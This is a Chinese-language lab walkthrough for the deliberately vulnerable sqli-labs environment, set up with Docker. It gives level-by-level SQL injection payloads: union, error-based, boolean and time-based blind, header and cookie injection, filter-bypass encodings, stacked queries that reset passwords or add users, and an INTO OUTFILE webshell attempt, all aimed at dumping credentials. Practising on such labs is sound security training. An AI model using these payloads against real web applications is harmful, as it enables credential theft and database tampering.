docker搭建
运行:docker info //查看docker信息,确认docker正常
搜索sqli-labs:docker search sqli-labs
建立镜像:docker pull acgpiano/sqli-labs
查看存在的镜像:docker images
运行存在的镜像:docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs (参数解释:-dt 后台运行; --name 命名;-p 80:80 将后面的docker容器端口映射到前面的主机端口)
docker ps -a 显示容器container容器的id image 命令 端口等信息
使用命令 docker container ls 查看已经启动的容器列表
返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
使用–+绕过
/?id=1’ --+
判断字段数
?id=1’ order by 4 --+
发现order by 3 回显正常,order by 4时报错,说明只有3个字段
判断注入点
?id=1’ and 1=2 union select 1,2,3 --+
发现2,3处可注入
?id=1’ and 1=2 union select 1,database(),3 --+
得到数据库security
查找数据库security中的表
?id=1' and 1=2 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
查找表users中的列名
?id=1' and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
爆破用户名和密码
?id=1' and 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
?id=1 and 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users)
?id=1’ --+报错
使用’) --+来闭合
如less-1查询字段,表名,列名
?id=1') order by 4--+
依然是只有三个字段
?id=1') and 1=2 union select 1,2,3 --+
查回显
?id=1' )and 1=2 union select 1,database(),3--+
查询数据库
?id=1' )and 1=2 union select 1,database(),and 1=2 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
查security中的表
?id=1' )and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
查user表中的列
?id=1' )and 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
爆破
双引号报错
使用concat聚合函数
参考资料:http://www.2cto.com/article/201303/192718.html
简单的说,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息。
比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
双注: 当查询语句的前面出现聚合函数 就是多个返回结果count()就是多行的意思 后面的查询结果代码会以错误的形式显示出来
?id=1' order by 4--+
判断字段数
1' union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
获取数据库 security 这里使用union all
1' union all select count(*),2,concat( '~',(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
1' union all select count(*),1,concat( '~',(select column_name from information_schema.columns where table_name= 'users' limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
爆出了三个字段,字段不存在也是返回you are in…
1' union all select count(*),1,concat( '~',(select concat(id,username,password) from users limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
成功
时间延迟型手工注入:(手工测试比较麻烦,建议使用sqlmap)
正确会延迟,错误没有延迟
爆库长
?id=1' and if(length(database())=8,sleep(5),1)--+
明显延迟,数据库长度为8
爆库名
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
明显延迟,数据库第一个字符为s,然后增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确时会延迟。最终爆破得到left(database(),8)=‘security’
爆表名
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
改变limit _,1 的数值的出表名users
爆列名
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
爆破值
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
法一:报错注入(转载)
何为报错注入:
报错注入就是通过人为的引起数据库的报错,但是数据库在报错的同时会将查询的结果也呈现在报错中,我在这里介绍一下报错注入以及原理
这是网上使用最广泛的一句报错注入语句:
select count(*),(floor(rand(0)2))x from information_schema.tables group by x;
那么必须是要按这个句子来执行吗,或者必须要这些句子吗?
通过查找很多网站的资料,我总结出:
group by,rand(),floor()三个函数是必须存在的,缺一不可,并且rand(),rand(0)两个句子还是有一些区别的,其中rand()在两条数据以上随即报错,rand(0)在三条数据以上必报错
原文链接:https://blog.csdn.net/weixin_43258754/article/details/87888269
?id=1" union select 1,count(*),concat((select user()),floor(rand(0)*2))a from information_schema.columns group by a --+
获取数据库
1" union select count(*),2,concat_ws(char(58),(select version()) ,floor(rand(0)*2)) a from information_schema.schemata group by a %23
1" union all select count(*),1,concat('~', (select schema_name from information_schema.schemata limit 4,1),floor(rand(0)*2)) a from information_schema.schemata group by a %23
获取数据
1" union all select count(*),1,concat('~',(select concat(username,password) from users limit 0,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a %23
学习函数:
outfile函数
outfile函数就是将数据库的查询内容导出到一个外部文件
dumpfile 转储函数
转储函数只能储存一行数据所以我们在导出的时候需要加以限制
load_file 下载文件,作用是从操作系统向数据库中写入文件,和前面的outfile刚好相反
select load_file("/var/lib/mysql-files/1.txt");
本题只需对文件写入一个一句话木马
?id=1')) union select 1,"",3 into outfile "/var/lib
/mysql-files/1.txt" --+;
盲注
分为基于布尔的盲注和基于时间的盲注
先判断注入类型,单引号字符型注入,但是没有报错回显
使用报错语句没有报错,这里我们采用布尔型盲注
学习函数:
length() 返回字符串的长度
数据库名字是security总共有8位,所以我们这里使用
?id=1' and length(database())=8 --+
注入
操作同less-5
考虑时间型盲注
?id=1' and sleep(3) --+
明显延迟,注入成功
当?id=1' and if(length(database())=8 , sleep(3), 1) --+
时明显延迟,所以库名长为8
?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+
发现明显延迟说明库名第一个字符为 ‘s’
?id=1' and if(left(database(),8)='security' , sleep(3), 1) --+
库名为 security
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+
使用limit x,1 查询第x个表名,和爆破库名一样,第一个表名为referer
爆到users这个表
操作同Less-5
把上一题Less-9的单引号改成双引号,一样的注入
弱口令admin登录成功
使用Burp抓包
判断字段
-admin’ order by 2 --+时正常,字段为3
回显(注意uname是错误的,才能显示联合查询内容)
然后就进行正常爆破操作
布尔盲注
admin’ and 1=1 --+
admin’ and 1=2 --+
时间盲注
admin’ and sleep(5) --+
明显延迟,可使用时间盲注
同less-15单引号改为") --+
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
发现用户名被特殊处理
这里需要学习check_input()函数
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
只截取15个字符
get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
在magic_quotes_gpc = On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。
stripslashes()删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
intval() 整型转换
不能从uname入手,从passwd入手
使用updatexml()
爆库
&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
爆表
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) --+
&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user')),0x7e),1) --+
&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+
加一层select
&passwd=admin' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin'))),1) --+
&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') m ),0x7e),1) --+
报错型,单引号,user-agent型注入点
看到user-agent的回显,猜测注入点在user-agnet
抓包修改user-agent改为payload就可以了
爆库payload
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
User-Agent: User-Agent: 1',1,updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e),1)) #
User-Agent: 1',1,updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='uagents'),0x5e),1)) #
单引号,报错型,referer型注入点
回显是referer,注入点为referer
操作同less-18
单引号,报错型,cookie型注入
cookie:uname=admin可以肯定是cookie注入了
base64编码,单引号,报错型,cookie型注入。
本关和less-20相似,只是cookie的uname值经过base64编码。
YWRtaW4是admin经过base64加密后得到的,所以本题在cookie处加密了字符串
爆库
-admin') union select 1,2,database()# //明文
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw== //密文
故在上传其他payload时也需要通过base64加密
base64编码,双引号,报错型,cookie型注入
同less-21一样,只需要使用双引号代替单引号再取掉括号即可
例
-admin" union select 1,2,database()# //明文
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj//密文
过滤了注释符 # –
?id=1’ or ‘1’=’1
爆库
?id=' union select 1,2,database() '
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
先注册一个 admin’ #的用户
然后在修改密码的时候构造这样一个sql语句,把admin的密码修改为123123
UPDATE users SET PASSWORD=’123’ where username=’admin’ #’ and password=’123456’
--+绕过
?id=-1' union select 1,2,group_concat(username,passwoorrd) from users--+
?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+
or and形成闭合语句
直接在前面添加or或and
延时注入
?id=-1 || if(length(database())=8,1,sleep(5))#
联合注入
?id=-1 union select 1,database(),3#
空格,or,and,/*,#,–,/等符号被过滤
对于注释和结尾字符的我们此处只能利用构造一个 ’ 来闭合后面到 ’ ;对于空格,有较多的方法:
%27 '
%a0 空格
()可以绕过
?id=1' aandnd(updatexml(1,concat(0x5e,database(),0x5e),1));%00
例爆库
或者
%a0 进行空格绕过,%27进行’绕过
判断字段数
(hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错)
?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271
?id=0%27union%a0select%a01,2,3,4%a0%26%26%a0%271%27=%271
可以判断字段数为3
爆库
?id=0%27union%a0select%a01,database(),3%26%26%271%27=%271
爆表时information里的or会被过滤,需要双写为infoorrmation
?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=%27security%27%26%26%a0%271%27=%271
?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=%27security%27%0baandnd%0btable_name=%27users%27%0b%26%26%0b%271'=%271
?id=0%27%a0union%a0select%a01,group_concat(username),3%a0from%a0users%a0where%a0%271%27=%271
也可以一起查
where ‘1’='1,是为了让语句变成无约束查询
?id=0%27%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0%271%27=%271
%0b TAB键(垂直)
同26,还要多添加一个括号
爆库
?id=0%27)%0Bunion%0Bselect%0B1,database(),3%0B||(%271%27)=(%271
爆表
?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
查用户名
?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
查密码
?id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1
一起查
?id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1
‘和空格均被过滤
使用大小写绕过
less 27的盲注版本,双引号型
大小写和单引号闭合绕过
例
?id=0%27)%a0uNion%a0sElect(1),(database()),(%273
输入一个引号错误,两个引号正常
绕过 addslashes()
宽字节绕过引号转义
‘替换成\’ “替换成\” \替换成 \”
同32
堆叠注入:在数据库中可以执行多条SQL语句,语句之间以分号(;)隔开
id=1时
堆叠注入后
?id=1' ;update users set password='123' where username='Dumb' --+
数字型注入
id=1时
创建新用户
?id=1;insert into users values(100,'create','create');--+
单引号括号’)进行闭合
?id=1’无回显
?id=1’ --+无回显
?id=1’)–+回显正常
数字型注入
同39
user设置了过滤函数mysqli_real_escape_string()
所以在密码处构造
login_user=admin&login_password=123456' and updatexml(1,concat(0x5e,substr((select group_concat(username,0x7e,password) from users),1,31),0x5e),1) #&mysubmit=Login
同42,只需将单引号改为’)
login_user=admin&login_password=admin') and updatexml(1,concat(0x5e,substr((select group_concat(username,0x7e,password) from users),1,31),0x5e),1) #&mysubmit=Login
闭合方式为’)
同43
?sort=1 desc或者asc,显示结果不同,表明可以注入
直接添加注入语句,?sort=(select ******)
爆库
?sort=(select updatexml(1,concat(0x5e,database(),0x5e),1))
?sort=(select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) )
?sort=(select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user')),0x7e),1))
?sort=(select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1))
还可以进行时间注入
?sort=1 and sleep(5)有延迟,可以时间注入
?sort=1’报错
?sort=1’ --+正常
其余同46
无报错,不能进行报错注入
可以使用时间注入,同46
一样无报错,同48进行时间注入
堆叠注入
了解mysqli_multi_query()函数
mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句
?sort=1;insert into users values(50,'50','50');
单引号双引号均无报错
?sort=1 and sleep(5)有延迟,可以使用时间注入
或者数字型注入
单引号无报错,双引号正常
?sort=1’ --+正常
已知数据库为CHALLENGES,且仅有十次尝试机会,十次以后会随机生成一个新的表名和密码
?id=1回显
?id=1’ 回显异常
?id=1’ --+回显正常
?id=-1’ union select 1,2 --+回显异常
?id=-1’ union select 1,2,3 --+回显正常
说明字段数为3
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='3LVU9O6T45'),3 --+
?id=-1' union select 1,(select group_concat(id,0x7e,sessid,0x7e,secret_0BWB,0x7e,tryy) from 3LVU9O6T45),3 --+
得到1~d44516e88a548ff1b4d73b7f9ee80a0a~q2N28tfxsGUc0Eo0ycKZBJy6~8
同样十四次机会
还是十四次机会
尝试后发现?id=1’) --+回显正常
十四次机会
尝试后发现?id=1" --+回显正常
其余同上
只有五次机会
?id=-1' and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e),1)--+
?id=-1' and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='KMMILD2HQ3'),0x5e),1)--+
?id=-1' and updatexml(1,concat(0x5e,(select secret_G9AY from KMMILD2HQ3),0x5e),1)--+
得到1jwSc79Nx9tQBzjDQ1YmGrt3
输入即可
同样五次机会
数字型注入
?id=-1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e),1)
一百三十次。。
尝试后发现
无报错回显
?id=1’) --+回显正常
union查询也不显示
?id=1’) and sleep(5)–+有延迟,可以进行时间注入
同样无报错
?id=1’ --+回显正常
?id=1’ and sleep(5) --+有延迟,进行时间注入
同样无报错
?id=1)) --+回显正常
?id=1)) and sleep(5) --+有延迟,进行时间注入
个人水平有限还请各位大佬指出错误